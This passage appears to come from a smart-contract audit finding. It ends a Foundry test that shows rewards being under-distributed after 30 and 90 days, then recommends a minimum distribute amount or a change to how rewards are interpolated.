    console.log("Distributed supply         : ", distributedSupply);
    console.log("Expected distributes supply: ", amountToDistribute);
}

[PASS] testProlongDistribution() (gas: 1233397)
Logs:
  Distributed supply after 30 days:
  ----------------------------------------------------
  Distributed supply         :  25533539461535580376
  Expected distributes supply:  40000000000000000000
  
  Distributed supply after 90 days:
  ----------------------------------------------------
  Distributed supply         :  38107800700086607344
  Expected distributes supply:  40000000000000000000

Tools Used

Manual review

Recommended Mitigation Steps

Either add a minimum amount required(chosen by governance) to invoke a distribute call if the call is not done by the ProfitManager or change how rewards are interpolated.

Assessed type

Math